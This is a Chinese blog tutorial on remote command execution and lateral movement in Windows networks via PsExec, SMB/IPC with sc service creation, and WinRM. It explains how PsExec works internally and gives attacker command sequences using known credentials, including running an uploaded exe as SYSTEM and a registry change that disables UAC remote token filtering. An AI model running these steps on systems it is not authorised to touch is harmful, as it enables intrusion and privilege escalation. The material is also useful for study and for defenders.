PsExec 可以算是一个轻量级的 telnet 替代工具,它使管理员无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与命令控制台几乎相同的实时交互性。

PsExec最强大的功能就是在远程系统和远程支持工具(如 ipconfig、whoami)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。

我们来看一下psexec的工作原理,

  • 使用提供的凭证,通过 SMB 会话 进行身份验证
  • 通过 SMB 访问默认共享文件夹 ADMIN$,并上载 PSEXESVC.exe,指向 /admin$/system32/PSEXESVC.EXE
  • 打开 \\RDC\pipe\svcctl 的句柄,与服务控制管理器(SCM)进行通信,这使得我们能够远程创建/启动服务。此时使用的是 SVCCTL 服务,通过对 SVCCTL服务 的 DCE/RPC 调用来启动 PsExec
  • 使用上传的 PSEXESVC.exe 作为服务二进制文件,调用 CreateService 函数
  • 调用 StartServices 函数,启动用于运行 PSEXESVC.exe 的服务


  • 通过创建的命名管道来重定向 stdin(输入)、stdout(输出)、stderr(输出)。总共创建了4个命名管道,一个用于服务本身,另外的管道用于重定向进程的 stdin、stdout、stderr。

整个交互流程如下:

使用 PsExec 的最低要求:

  • 远程机器的 139 或 445 端口需要开启状态,即 SMB
  • 攻击者已知明文密码或者 NTLM 哈希(通过暴力破解或者Hashdump)
  • 具备将文件写入共享文件夹的权限
  • 能够在远程机器上创建服务:SC_MANAGER_CREATE_SERVICE (访问掩码:0x0002),此时在远程主机将会生成 Event 4697、7045 这2种事件日志
  • 能够启动所创建的服务:SERVICE_QUERY_STATUS(访问掩码:0x0004)+ SERVICE_START(访问掩码:0x0010)

在多数情况下,即使账号出现泄漏情况,使用 PsExec, 也无法完成第4和第5点的要求,因为账号不是特权账号(RID500、域管理员)。 

psexec.exe远程执行命令:

psexec /accepteula //接受许可协议
sc delete psexesvc
psexec \\192.168.1.185 -u pt007 -p admin123 cmd.exe

psexec.vbs远程执行命令: 

cscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"

Relevant Link: 

https://rcoil.me/2019/08/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3%20PsExec/ 

2)利用WMI向远程主机执行指令

3)利用SC向远程主机添加定时任务执行指令

sc攻击可以和net use文件上传攻击方式配合使用。

通过建立ipc连接(net use + at)上传的bat或exe程序,可以通过sc创建服务(开启服务时会以system 权限在远程系统上执行程序):

net use \\192.168.17.138\c$ "admin123" /user:pt007
net use
dir \\192.168.17.138\c$
copy test.exe \\192.168.17.138\c$
sc \\192.168.17.138 create test binpath= "c:\test.exe"
sc \\192.168.17.138 start test
sc \\192.168.17.138 del test 

2. 基于winRM协议的指令执行

Windows 远程管理 (WinRM) 是 WS-Management 协议的 Microsoft 实现。该协议是基于简单对象访问协议 (SOAP) 的、防火墙友好的标准协议,使来自不同供应商的硬件和操作系统能够互操作。WS-Management 协议由硬件和软件制造商群体开发,作为一种公共标准,可用于与实现该协议的任何计算机设备远程交换管理数据。

// 在被感染服务器上面快速启动winrm服务,并绑定到5985端口:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
netstat -ano|find "5985"

// 作为攻击者的客户端连接方式:
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /all"
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 cmd

// UAC问题,修改后,普通管理员登录后也是高权限:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /groups"

Relevant Link: 

https://www.cnblogs.com/LittleHann/p/3541989.html
https://blog.51cto.com/qicheng0211/1926913
http://www.0xby.com/2343.html
https://xz.aliyun.com/t/5957
posted @ 2018-03-01 16:00  郑瀚Andrew  阅读(2380)  评论(2编辑  收藏  举报